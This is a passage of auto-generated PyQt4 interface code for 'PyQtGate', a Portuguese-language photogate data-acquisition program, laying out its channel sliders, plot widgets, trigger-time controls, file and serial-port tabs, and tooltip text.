self.vS_channel_2.setMaximum(1023) self.vS_channel_2.setProperty("value", 512) self.vS_channel_2.setSliderPosition(512) self.vS_channel_2.setOrientation(QtCore.Qt.Vertical) self.vS_channel_2.setObjectName(_fromUtf8("vS_channel_2")) self.lE_channel_2 = QtGui.QLineEdit(self.tab_mostrador) self.lE_channel_2.setGeometry(QtCore.QRect(788, 127, 41, 27)) self.lE_channel_2.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lE_channel_2.setObjectName(_fromUtf8("lE_channel_2")) self.lE_channel_5 = QtGui.QLineEdit(self.tab_mostrador) self.lE_channel_5.setGeometry(QtCore.QRect(788, 367, 41, 27)) self.lE_channel_5.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lE_channel_5.setObjectName(_fromUtf8("lE_channel_5")) self.lE_channel_4 = QtGui.QLineEdit(self.tab_mostrador) self.lE_channel_4.setGeometry(QtCore.QRect(788, 287, 41, 27)) self.lE_channel_4.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lE_channel_4.setObjectName(_fromUtf8("lE_channel_4")) self.lE_channel_3 = QtGui.QLineEdit(self.tab_mostrador) self.lE_channel_3.setGeometry(QtCore.QRect(788, 207, 41, 27)) self.lE_channel_3.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lE_channel_3.setObjectName(_fromUtf8("lE_channel_3")) self.lE_channel_6 = QtGui.QLineEdit(self.tab_mostrador) self.lE_channel_6.setGeometry(QtCore.QRect(788, 447, 41, 27)) self.lE_channel_6.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lE_channel_6.setObjectName(_fromUtf8("lE_channel_6")) self.vS_channel_4 = QtGui.QSlider(self.tab_mostrador) self.vS_channel_4.setGeometry(QtCore.QRect(758, 267, 29, 61)) self.vS_channel_4.setMaximum(1023) self.vS_channel_4.setProperty("value", 512) self.vS_channel_4.setOrientation(QtCore.Qt.Vertical) self.vS_channel_4.setObjectName(_fromUtf8("vS_channel_4")) self.vS_channel_3 = QtGui.QSlider(self.tab_mostrador) self.vS_channel_3.setGeometry(QtCore.QRect(758, 187, 29, 61)) self.vS_channel_3.setMaximum(1023) self.vS_channel_3.setProperty("value", 512) self.vS_channel_3.setOrientation(QtCore.Qt.Vertical) self.vS_channel_3.setObjectName(_fromUtf8("vS_channel_3")) self.vS_channel_5 = QtGui.QSlider(self.tab_mostrador) self.vS_channel_5.setGeometry(QtCore.QRect(758, 347, 29, 61)) self.vS_channel_5.setMaximum(1023) self.vS_channel_5.setProperty("value", 512) self.vS_channel_5.setOrientation(QtCore.Qt.Vertical) self.vS_channel_5.setObjectName(_fromUtf8("vS_channel_5")) self.vS_channel_6 = QtGui.QSlider(self.tab_mostrador) self.vS_channel_6.setGeometry(QtCore.QRect(758, 427, 29, 61)) self.vS_channel_6.setMaximum(1023) self.vS_channel_6.setProperty("value", 512) self.vS_channel_6.setOrientation(QtCore.Qt.Vertical) self.vS_channel_6.setObjectName(_fromUtf8("vS_channel_6")) self.tab_views = QtGui.QTabWidget(self.tab_mostrador) self.tab_views.setGeometry(QtCore.QRect(2, 3, 751, 491)) self.tab_views.setTabPosition(QtGui.QTabWidget.West) self.tab_views.setObjectName(_fromUtf8("tab_views")) self.tab_separados = QtGui.QWidget() self.tab_separados.setObjectName(_fromUtf8("tab_separados")) self.pW_channel_5 = PlotWidget(self.tab_separados) self.pW_channel_5.setGeometry(QtCore.QRect(8, 349, 701, 51)) self.pW_channel_5.setObjectName(_fromUtf8("pW_channel_5")) self.pW_channel_3 = PlotWidget(self.tab_separados) self.pW_channel_3.setGeometry(QtCore.QRect(8, 189, 701, 51)) self.pW_channel_3.setObjectName(_fromUtf8("pW_channel_3")) self.sP_channel_4 = QtGui.QSpinBox(self.tab_separados) self.sP_channel_4.setGeometry(QtCore.QRect(78, 246, 61, 21)) self.sP_channel_4.setMinimum(1) self.sP_channel_4.setObjectName(_fromUtf8("sP_channel_4")) self.lE_time_1 = QtGui.QLineEdit(self.tab_separados) self.lE_time_1.setGeometry(QtCore.QRect(148, 5, 81, 21)) self.lE_time_1.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lE_time_1.setObjectName(_fromUtf8("lE_time_1")) self.sP_channel_2 = QtGui.QSpinBox(self.tab_separados) self.sP_channel_2.setGeometry(QtCore.QRect(79, 86, 61, 21)) self.sP_channel_2.setMinimum(1) self.sP_channel_2.setObjectName(_fromUtf8("sP_channel_2")) self.lE_time_5 = QtGui.QLineEdit(self.tab_separados) self.lE_time_5.setGeometry(QtCore.QRect(148, 325, 81, 21)) self.lE_time_5.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lE_time_5.setObjectName(_fromUtf8("lE_time_5")) self.cB_subida_4 = QtGui.QCheckBox(self.tab_separados) self.cB_subida_4.setGeometry(QtCore.QRect(313, 246, 100, 22)) self.cB_subida_4.setChecked(True) self.cB_subida_4.setObjectName(_fromUtf8("cB_subida_4")) self.pW_channel_4 = PlotWidget(self.tab_separados) self.pW_channel_4.setGeometry(QtCore.QRect(8, 269, 701, 51)) self.pW_channel_4.setObjectName(_fromUtf8("pW_channel_4")) self.cB_descida_2 = QtGui.QCheckBox(self.tab_separados) self.cB_descida_2.setGeometry(QtCore.QRect(408, 86, 100, 22)) self.cB_descida_2.setObjectName(_fromUtf8("cB_descida_2")) self.l_channel_8 = QtGui.QLabel(self.tab_separados) self.l_channel_8.setGeometry(QtCore.QRect(232, 90, 70, 16)) font = QtGui.QFont() font.setBold(False) font.setWeight(50) self.l_channel_8.setFont(font) self.l_channel_8.setObjectName(_fromUtf8("l_channel_8")) self.sP_channel_3 = QtGui.QSpinBox(self.tab_separados) self.sP_channel_3.setGeometry(QtCore.QRect(79, 166, 61, 21)) self.sP_channel_3.setMinimum(1) self.sP_channel_3.setObjectName(_fromUtf8("sP_channel_3")) self.l_channel_12 = QtGui.QLabel(self.tab_separados) self.l_channel_12.setGeometry(QtCore.QRect(232, 410, 70, 16)) font = QtGui.QFont() font.setBold(False) font.setWeight(50) self.l_channel_12.setFont(font) self.l_channel_12.setObjectName(_fromUtf8("l_channel_12")) self.l_channel_9 = QtGui.QLabel(self.tab_separados) self.l_channel_9.setGeometry(QtCore.QRect(232, 170, 70, 16)) font = QtGui.QFont() font.setBold(False) font.setWeight(50) self.l_channel_9.setFont(font) self.l_channel_9.setObjectName(_fromUtf8("l_channel_9")) self.cB_subida_1 = QtGui.QCheckBox(self.tab_separados) self.cB_subida_1.setGeometry(QtCore.QRect(312, 6, 97, 22)) self.cB_subida_1.setChecked(True) self.cB_subida_1.setObjectName(_fromUtf8("cB_subida_1")) self.l_channel_10 = QtGui.QLabel(self.tab_separados) self.l_channel_10.setGeometry(QtCore.QRect(232, 250, 70, 16)) font = QtGui.QFont() font.setBold(False) font.setWeight(50) self.l_channel_10.setFont(font) self.l_channel_10.setObjectName(_fromUtf8("l_channel_10")) self.lE_time_3 = QtGui.QLineEdit(self.tab_separados) self.lE_time_3.setGeometry(QtCore.QRect(149, 165, 81, 21)) self.lE_time_3.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lE_time_3.setObjectName(_fromUtf8("lE_time_3")) self.pW_channel_2 = PlotWidget(self.tab_separados) self.pW_channel_2.setGeometry(QtCore.QRect(8, 109, 701, 51)) self.pW_channel_2.setObjectName(_fromUtf8("pW_channel_2")) self.cB_descida_5 = QtGui.QCheckBox(self.tab_separados) self.cB_descida_5.setGeometry(QtCore.QRect(408, 325, 100, 22)) self.cB_descida_5.setObjectName(_fromUtf8("cB_descida_5")) self.l_channel_11 = QtGui.QLabel(self.tab_separados) self.l_channel_11.setGeometry(QtCore.QRect(232, 330, 70, 16)) font = QtGui.QFont() font.setBold(False) font.setWeight(50) self.l_channel_11.setFont(font) self.l_channel_11.setObjectName(_fromUtf8("l_channel_11")) self.cB_descida_6 = QtGui.QCheckBox(self.tab_separados) self.cB_descida_6.setGeometry(QtCore.QRect(408, 405, 100, 22)) self.cB_descida_6.setObjectName(_fromUtf8("cB_descida_6")) self.cB_subida_3 = QtGui.QCheckBox(self.tab_separados) self.cB_subida_3.setGeometry(QtCore.QRect(313, 165, 100, 22)) self.cB_subida_3.setChecked(True) self.cB_subida_3.setObjectName(_fromUtf8("cB_subida_3")) self.sP_channel_5 = QtGui.QSpinBox(self.tab_separados) self.sP_channel_5.setGeometry(QtCore.QRect(78, 326, 61, 21)) self.sP_channel_5.setMinimum(1) self.sP_channel_5.setObjectName(_fromUtf8("sP_channel_5")) self.sP_channel_6 = QtGui.QSpinBox(self.tab_separados) self.sP_channel_6.setGeometry(QtCore.QRect(78, 406, 61, 21)) self.sP_channel_6.setMinimum(1) self.sP_channel_6.setObjectName(_fromUtf8("sP_channel_6")) self.cB_subida_2 = QtGui.QCheckBox(self.tab_separados) self.cB_subida_2.setGeometry(QtCore.QRect(313, 86, 100, 22)) self.cB_subida_2.setChecked(True) self.cB_subida_2.setObjectName(_fromUtf8("cB_subida_2")) self.sP_channel_1 = QtGui.QSpinBox(self.tab_separados) self.sP_channel_1.setGeometry(QtCore.QRect(78, 6, 61, 21)) self.sP_channel_1.setMinimum(1) self.sP_channel_1.setObjectName(_fromUtf8("sP_channel_1")) self.cB_descida_4 = QtGui.QCheckBox(self.tab_separados) self.cB_descida_4.setGeometry(QtCore.QRect(408, 246, 100, 22)) self.cB_descida_4.setObjectName(_fromUtf8("cB_descida_4")) self.cB_subida_5 = QtGui.QCheckBox(self.tab_separados) self.cB_subida_5.setGeometry(QtCore.QRect(313, 325, 100, 22)) self.cB_subida_5.setChecked(True) self.cB_subida_5.setObjectName(_fromUtf8("cB_subida_5")) self.pW_channel_6 = PlotWidget(self.tab_separados) self.pW_channel_6.setGeometry(QtCore.QRect(8, 429, 701, 51)) self.pW_channel_6.setObjectName(_fromUtf8("pW_channel_6")) self.cB_descida_3 = QtGui.QCheckBox(self.tab_separados) self.cB_descida_3.setGeometry(QtCore.QRect(408, 165, 100, 22)) self.cB_descida_3.setObjectName(_fromUtf8("cB_descida_3")) self.cB_subida_6 = QtGui.QCheckBox(self.tab_separados) self.cB_subida_6.setGeometry(QtCore.QRect(313, 405, 100, 22)) self.cB_subida_6.setChecked(True) self.cB_subida_6.setObjectName(_fromUtf8("cB_subida_6")) self.l_channel_7 = QtGui.QLabel(self.tab_separados) self.l_channel_7.setGeometry(QtCore.QRect(231, 10, 70, 16)) font = QtGui.QFont() font.setBold(False) font.setWeight(50) self.l_channel_7.setFont(font) self.l_channel_7.setObjectName(_fromUtf8("l_channel_7")) self.lE_time_6 = QtGui.QLineEdit(self.tab_separados) self.lE_time_6.setGeometry(QtCore.QRect(148, 405, 81, 21)) self.lE_time_6.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lE_time_6.setObjectName(_fromUtf8("lE_time_6")) self.lE_time_2 = QtGui.QLineEdit(self.tab_separados) self.lE_time_2.setGeometry(QtCore.QRect(149, 85, 81, 21)) self.lE_time_2.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lE_time_2.setObjectName(_fromUtf8("lE_time_2")) self.cB_descida_1 = QtGui.QCheckBox(self.tab_separados) self.cB_descida_1.setGeometry(QtCore.QRect(407, 6, 97, 22)) self.cB_descida_1.setObjectName(_fromUtf8("cB_descida_1")) self.lE_time_4 = QtGui.QLineEdit(self.tab_separados) self.lE_time_4.setGeometry(QtCore.QRect(148, 245, 81, 21)) self.lE_time_4.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lE_time_4.setObjectName(_fromUtf8("lE_time_4")) self.pW_channel_1 = PlotWidget(self.tab_separados) self.pW_channel_1.setGeometry(QtCore.QRect(8, 29, 701, 51)) self.pW_channel_1.setObjectName(_fromUtf8("pW_channel_1")) self.tab_views.addTab(self.tab_separados, _fromUtf8("")) self.tab_juntos = QtGui.QWidget() self.tab_juntos.setObjectName(_fromUtf8("tab_juntos")) self.pW_all = PlotWidget(self.tab_juntos) self.pW_all.setGeometry(QtCore.QRect(9, 7, 701, 341)) self.pW_all.setObjectName(_fromUtf8("pW_all")) self.tW_timetable = QtGui.QTableWidget(self.tab_juntos) self.tW_timetable.setGeometry(QtCore.QRect(182, 357, 528, 111)) font = QtGui.QFont() font.setPointSize(9) font.setBold(True) font.setWeight(75) self.tW_timetable.setFont(font) self.tW_timetable.setObjectName(_fromUtf8("tW_timetable")) self.tW_timetable.setColumnCount(0) self.tW_timetable.setRowCount(0) self.tW_timetable.horizontalHeader().setDefaultSectionSize(85) self.tW_timetable.verticalHeader().setDefaultSectionSize(20) self.pB_timetable = QtGui.QPushButton(self.tab_juntos) self.pB_timetable.setGeometry(QtCore.QRect(40, 410, 111, 27)) self.pB_timetable.setObjectName(_fromUtf8("pB_timetable")) self.tab_views.addTab(self.tab_juntos, _fromUtf8("")) self.cB_constrain = QtGui.QCheckBox(self.tab_mostrador) self.cB_constrain.setGeometry(QtCore.QRect(690, 501, 151, 22)) self.cB_constrain.setStyleSheet(_fromUtf8("color: rgb(0, 0, 0);\n" "background-color: rgb(255, 255, 255);")) self.cB_constrain.setObjectName(_fromUtf8("cB_constrain")) self.cB_channel_1 = QtGui.QCheckBox(self.tab_mostrador) self.cB_channel_1.setGeometry(QtCore.QRect(762, 9, 81, 22)) font = QtGui.QFont() font.setBold(True) font.setWeight(75) self.cB_channel_1.setFont(font) self.cB_channel_1.setStyleSheet(_fromUtf8("color: rgb(0, 0, 255);\n" "background-color: rgb(255, 255, 255);")) self.cB_channel_1.setChecked(True) self.cB_channel_1.setObjectName(_fromUtf8("cB_channel_1")) self.cB_channel_2 = QtGui.QCheckBox(self.tab_mostrador) self.cB_channel_2.setGeometry(QtCore.QRect(762, 90, 81, 22)) font = QtGui.QFont() font.setBold(True) font.setWeight(75) self.cB_channel_2.setFont(font) self.cB_channel_2.setStyleSheet(_fromUtf8("color: rgb(0, 255, 0);\n" "background-color: rgb(255, 255, 255);")) self.cB_channel_2.setChecked(True) self.cB_channel_2.setObjectName(_fromUtf8("cB_channel_2")) self.cB_channel_3 = QtGui.QCheckBox(self.tab_mostrador) self.cB_channel_3.setGeometry(QtCore.QRect(762, 170, 81, 22)) font = QtGui.QFont() font.setBold(True) font.setWeight(75) self.cB_channel_3.setFont(font) self.cB_channel_3.setStyleSheet(_fromUtf8("color: rgb(255, 0, 0);\n" "background-color: rgb(255, 255, 255);")) self.cB_channel_3.setChecked(True) self.cB_channel_3.setObjectName(_fromUtf8("cB_channel_3")) self.cB_channel_4 = QtGui.QCheckBox(self.tab_mostrador) self.cB_channel_4.setGeometry(QtCore.QRect(762, 250, 81, 22)) font = QtGui.QFont() font.setBold(True) font.setWeight(75) self.cB_channel_4.setFont(font) self.cB_channel_4.setStyleSheet(_fromUtf8("color: rgb(0, 128, 128);\n" "background-color: rgb(255, 255, 255);")) self.cB_channel_4.setChecked(True) self.cB_channel_4.setObjectName(_fromUtf8("cB_channel_4")) self.cB_channel_5 = QtGui.QCheckBox(self.tab_mostrador) self.cB_channel_5.setGeometry(QtCore.QRect(762, 330, 81, 22)) font = QtGui.QFont() font.setBold(True) font.setWeight(75) self.cB_channel_5.setFont(font) self.cB_channel_5.setStyleSheet(_fromUtf8("color: rgb(128, 128, 0);\n" "background-color: rgb(255, 255, 255);")) self.cB_channel_5.setChecked(True) self.cB_channel_5.setObjectName(_fromUtf8("cB_channel_5")) self.cB_channel_6 = QtGui.QCheckBox(self.tab_mostrador) self.cB_channel_6.setGeometry(QtCore.QRect(762, 410, 81, 22)) font = QtGui.QFont() font.setBold(True) font.setWeight(75) self.cB_channel_6.setFont(font) self.cB_channel_6.setStyleSheet(_fromUtf8("color: rgb(128, 0, 128);\n" "background-color: rgb(255, 255, 255);")) self.cB_channel_6.setChecked(True) self.cB_channel_6.setObjectName(_fromUtf8("cB_channel_6")) self.label_8 = QtGui.QLabel(self.tab_mostrador) self.label_8.setGeometry(QtCore.QRect(334, 504, 51, 17)) font = QtGui.QFont() font.setBold(True) font.setWeight(75) self.label_8.setFont(font) self.label_8.setObjectName(_fromUtf8("label_8")) self.lE_delay = QtGui.QLineEdit(self.tab_mostrador) self.lE_delay.setGeometry(QtCore.QRect(394, 502, 61, 21)) self.lE_delay.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lE_delay.setObjectName(_fromUtf8("lE_delay")) self.label_9 = QtGui.QLabel(self.tab_mostrador) self.label_9.setGeometry(QtCore.QRect(460, 504, 21, 17)) font = QtGui.QFont() font.setBold(False) font.setWeight(50) self.label_9.setFont(font) self.label_9.setObjectName(_fromUtf8("label_9")) self.tabPrincipal.addTab(self.tab_mostrador, _fromUtf8("")) self.tab_arquivo = QtGui.QWidget() self.tab_arquivo.setObjectName(_fromUtf8("tab_arquivo")) self.pB_save = QtGui.QPushButton(self.tab_arquivo) self.pB_save.setGeometry(QtCore.QRect(80, 70, 181, 27)) self.pB_save.setObjectName(_fromUtf8("pB_save")) self.pB_load = QtGui.QPushButton(self.tab_arquivo) self.pB_load.setGeometry(QtCore.QRect(80, 110, 181, 27)) self.pB_load.setObjectName(_fromUtf8("pB_load")) self.pB_savetime = QtGui.QPushButton(self.tab_arquivo) self.pB_savetime.setGeometry(QtCore.QRect(310, 70, 181, 27)) self.pB_savetime.setObjectName(_fromUtf8("pB_savetime")) self.tabPrincipal.addTab(self.tab_arquivo, _fromUtf8("")) self.tab_serial = QtGui.QWidget() self.tab_serial.setObjectName(_fromUtf8("tab_serial")) self.pB_connect = QtGui.QPushButton(self.tab_serial) self.pB_connect.setGeometry(QtCore.QRect(70, 90, 261, 27)) self.pB_connect.setObjectName(_fromUtf8("pB_connect")) self.label_2 = QtGui.QLabel(self.tab_serial) self.label_2.setGeometry(QtCore.QRect(70, 40, 311, 17)) font = QtGui.QFont() font.setBold(True) font.setWeight(75) self.label_2.setFont(font) self.label_2.setObjectName(_fromUtf8("label_2")) self.pB_closeconnection = QtGui.QPushButton(self.tab_serial) self.pB_closeconnection.setGeometry(QtCore.QRect(70, 210, 98, 27)) self.pB_closeconnection.setObjectName(_fromUtf8("pB_closeconnection")) self.layoutWidget = QtGui.QWidget(self.tab_serial) self.layoutWidget.setGeometry(QtCore.QRect(71, 141, 231, 29)) self.layoutWidget.setObjectName(_fromUtf8("layoutWidget")) self.horizontalLayout_2 = QtGui.QHBoxLayout(self.layoutWidget) self.horizontalLayout_2.setMargin(0) self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2")) self.label = QtGui.QLabel(self.layoutWidget) self.label.setObjectName(_fromUtf8("label")) self.horizontalLayout_2.addWidget(self.label) self.cB_port = QtGui.QComboBox(self.layoutWidget) self.cB_port.setObjectName(_fromUtf8("cB_port")) self.horizontalLayout_2.addWidget(self.cB_port) self.label_25 = QtGui.QLabel(self.tab_serial) self.label_25.setGeometry(QtCore.QRect(70, 270, 101, 17)) font = QtGui.QFont() font.setBold(True) font.setWeight(75) self.label_25.setFont(font) self.label_25.setObjectName(_fromUtf8("label_25")) self.l_commstatus = QtGui.QLabel(self.tab_serial) self.l_commstatus.setGeometry(QtCore.QRect(180, 270, 491, 17)) self.l_commstatus.setObjectName(_fromUtf8("l_commstatus")) self.tabPrincipal.addTab(self.tab_serial, _fromUtf8("")) self.tab_sobre = QtGui.QWidget() self.tab_sobre.setObjectName(_fromUtf8("tab_sobre")) self.l_ufscar = QtGui.QLabel(self.tab_sobre) self.l_ufscar.setGeometry(QtCore.QRect(160, 370, 180, 125)) self.l_ufscar.setObjectName(_fromUtf8("l_ufscar")) self.l_cca = QtGui.QLabel(self.tab_sobre) self.l_cca.setGeometry(QtCore.QRect(567, 368, 130, 122)) self.l_cca.setObjectName(_fromUtf8("l_cca")) self.label_3 = QtGui.QLabel(self.tab_sobre) self.label_3.setGeometry(QtCore.QRect(530, 497, 211, 17)) font = QtGui.QFont() font.setFamily(_fromUtf8("Arial Black")) font.setPointSize(10) self.label_3.setFont(font) self.label_3.setObjectName(_fromUtf8("label_3")) self.textBrowser = QtGui.QTextBrowser(self.tab_sobre) self.textBrowser.setGeometry(QtCore.QRect(80, 40, 681, 321)) self.textBrowser.setObjectName(_fromUtf8("textBrowser")) self.tabPrincipal.addTab(self.tab_sobre, _fromUtf8("")) self.l_filename = QtGui.QLabel(PyQtGate) self.l_filename.setGeometry(QtCore.QRect(290, 12, 561, 17)) self.l_filename.setObjectName(_fromUtf8("l_filename")) self.retranslateUi(PyQtGate) self.tabPrincipal.setCurrentIndex(0) self.tab_views.setCurrentIndex(0) QtCore.QMetaObject.connectSlotsByName(PyQtGate) def retranslateUi(self, PyQtGate): PyQtGate.setWindowTitle(_translate("PyQtGate", "PyQtGate", None)) self.tab_mostrador.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Mostrar dados de aquisição</p></body></html>", None)) self.pB_startacq.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Inicia e interrompe a aquisição de sinal do Photogate</p></body></html>", None)) self.pB_startacq.setText(_translate("PyQtGate", "Iniciar", None)) self.l_mostrador.setText(_translate("PyQtGate", "parada", None)) self.label_7.setText(_translate("PyQtGate", "Aquisição:", None)) self.vS_channel_1.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Nível de referência para disparo de tempo do Canal 1</p></body></html>", None)) self.lE_channel_1.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Nível de referência para disparo de tempo do Canal 1</p></body></html>", None)) self.lE_channel_1.setText(_translate("PyQtGate", "512", None)) self.vS_channel_2.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Nível de referência para disparo de tempo do Canal 2</p></body></html>", None)) self.lE_channel_2.setText(_translate("PyQtGate", "512", None)) self.lE_channel_5.setText(_translate("PyQtGate", "512", None)) self.lE_channel_4.setText(_translate("PyQtGate", "512", None)) self.lE_channel_3.setText(_translate("PyQtGate", "512", None)) self.lE_channel_6.setText(_translate("PyQtGate", "512", None)) self.vS_channel_4.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Nível de referência para disparo de tempo do Canal 4</p></body></html>", None)) self.vS_channel_3.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Nível de referência para disparo de tempo do Canal 3</p></body></html>", None)) self.vS_channel_5.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Nível de referência para disparo de tempo do Canal 5</p></body></html>", None)) self.vS_channel_6.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Nível de referência para disparo de tempo do Canal 6</p></body></html>", None)) self.sP_channel_4.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Varre os tempos disparados.</p></body></html>", None)) self.lE_time_1.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Tempo de disparo</p></body></html>", None)) self.lE_time_1.setText(_translate("PyQtGate", "0", None)) self.sP_channel_2.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Varre os tempos disparados.</p></body></html>", None)) self.lE_time_5.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Tempo de disparo</p></body></html>", None)) self.lE_time_5.setText(_translate("PyQtGate", "0", None)) self.cB_subida_4.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Marca os tempos de disparo na subida em relação à referência</p></body></html>", None)) self.cB_subida_4.setText(_translate("PyQtGate", "Subida", None)) self.cB_descida_2.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Marca os tempos de disparo na descida em relação à referência</p></body></html>", None)) self.cB_descida_2.setText(_translate("PyQtGate", "Descida", None)) self.l_channel_8.setText(_translate("PyQtGate", "segundos", None)) self.sP_channel_3.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Varre os tempos disparados.</p></body></html>", None)) self.l_channel_12.setText(_translate("PyQtGate", "segundos", None)) self.l_channel_9.setText(_translate("PyQtGate", "segundos", None)) self.cB_subida_1.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Marca os tempos de disparo na subida em relação à referência</p></body></html>", None)) self.cB_subida_1.setText(_translate("PyQtGate", "Subida", None)) self.l_channel_10.setText(_translate("PyQtGate", "segundos", None)) self.lE_time_3.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Tempo de disparo</p></body></html>", None)) self.lE_time_3.setText(_translate("PyQtGate", "0", None)) self.cB_descida_5.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Marca os tempos de disparo na descida em relação à referência</p></body></html>", None)) self.cB_descida_5.setText(_translate("PyQtGate", "Descida", None)) self.l_channel_11.setText(_translate("PyQtGate", "segundos", None)) self.cB_descida_6.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Marca os tempos de disparo na descida em relação à referência</p></body></html>", None)) self.cB_descida_6.setText(_translate("PyQtGate", "Descida", None)) self.cB_subida_3.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Marca os tempos de disparo na subida em relação à referência</p></body></html>", None)) self.cB_subida_3.setText(_translate("PyQtGate", "Subida", None)) self.sP_channel_5.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Varre os tempos disparados.</p></body></html>", None)) self.sP_channel_6.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Varre os tempos disparados.</p></body></html>", None)) self.cB_subida_2.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Marca os tempos de disparo na subida em relação à referência</p></body></html>", None)) self.cB_subida_2.setText(_translate("PyQtGate", "Subida", None)) self.sP_channel_1.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Varre os tempos disparados.</p></body></html>", None)) self.cB_descida_4.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Marca os tempos de disparo na descida em relação à referência</p></body></html>", None)) self.cB_descida_4.setText(_translate("PyQtGate", "Descida", None)) self.cB_subida_5.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Marca os tempos de disparo na subida em relação à referência</p></body></html>", None)) self.cB_subida_5.setText(_translate("PyQtGate", "Subida", None)) self.cB_descida_3.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Marca os tempos de disparo na descida em relação à referência</p></body></html>", None)) self.cB_descida_3.setText(_translate("PyQtGate", "Descida", None)) self.cB_subida_6.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Marca os tempos de disparo na subida em relação à referência</p></body></html>", None)) self.cB_subida_6.setText(_translate("PyQtGate", "Subida", None)) self.l_channel_7.setText(_translate("PyQtGate", "segundos", None)) self.lE_time_6.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Tempo de disparo</p></body></html>", None)) self.lE_time_6.setText(_translate("PyQtGate", "0", None)) self.lE_time_2.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Tempo de disparo</p></body></html>", None)) self.lE_time_2.setText(_translate("PyQtGate", "0", None)) self.cB_descida_1.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Marca os tempos de disparo na descida em relação à referência</p></body></html>", None)) self.cB_descida_1.setText(_translate("PyQtGate", "Descida", None)) self.lE_time_4.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Tempo de disparo</p></body></html>", None)) self.lE_time_4.setText(_translate("PyQtGate", "0", None)) self.tab_views.setTabText(self.tab_views.indexOf(self.tab_separados), _translate("PyQtGate", "Separados", None)) self.pW_all.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Gráfico de amostragem dos seis canais em que a ordenada (restrita ao intervalo de 0 a 1023) é porporcional à voltagem medida nas respectivas portas óticas e a abscissa corresponde ao tempo em segundos.</p></body></html>", None)) self.tW_timetable.setToolTip(_translate("PyQtGate", "<html><head/><body><p><span style=\" font-weight:400;\">Tabela de tempos (em segundos) de disparo dos canais selecionados. Tempos positivos referem-se à subida e negativos à descida.</span></p></body></html>", None)) self.pB_timetable.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Gera tabela de tempos de disparo na subida e/ou descida conforme os níveis de referência de cada canal</p></body></html>", None)) self.pB_timetable.setText(_translate("PyQtGate", "Gerar tempos", None)) self.tab_views.setTabText(self.tab_views.indexOf(self.tab_juntos), _translate("PyQtGate", "Juntos", None)) self.cB_constrain.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Vincula os controles de referência ao canal 1</p></body></html>", None)) self.cB_constrain.setText(_translate("PyQtGate", "Vincular ao canal 1", None)) self.cB_channel_1.setText(_translate("PyQtGate", "Canal 1", None)) self.cB_channel_2.setText(_translate("PyQtGate", "Canal 2", None)) self.cB_channel_3.setText(_translate("PyQtGate", "Canal 3", None)) self.cB_channel_4.setText(_translate("PyQtGate", "Canal 4", None)) self.cB_channel_5.setText(_translate("PyQtGate", "Canal 5", None)) self.cB_channel_6.setText(_translate("PyQtGate", "Canal 6", None)) self.label_8.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Atraso adicional entre cada aquisição (0 a 65535 ms)</p></body></html>", None)) self.label_8.setText(_translate("PyQtGate", "Atraso:", None)) self.lE_delay.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Atraso adicional entre cada aquisição (0 a 65535 ms)</p></body></html>", None)) self.lE_delay.setText(_translate("PyQtGate", "0", None)) self.label_9.setText(_translate("PyQtGate", "ms", None)) self.tabPrincipal.setTabText(self.tabPrincipal.indexOf(self.tab_mostrador), _translate("PyQtGate", "Mostrador", None)) self.pB_save.setToolTip(_translate("PyQtGate", "<html><head/><body><p>Salva arquivo com as formas de onda completas de todos os 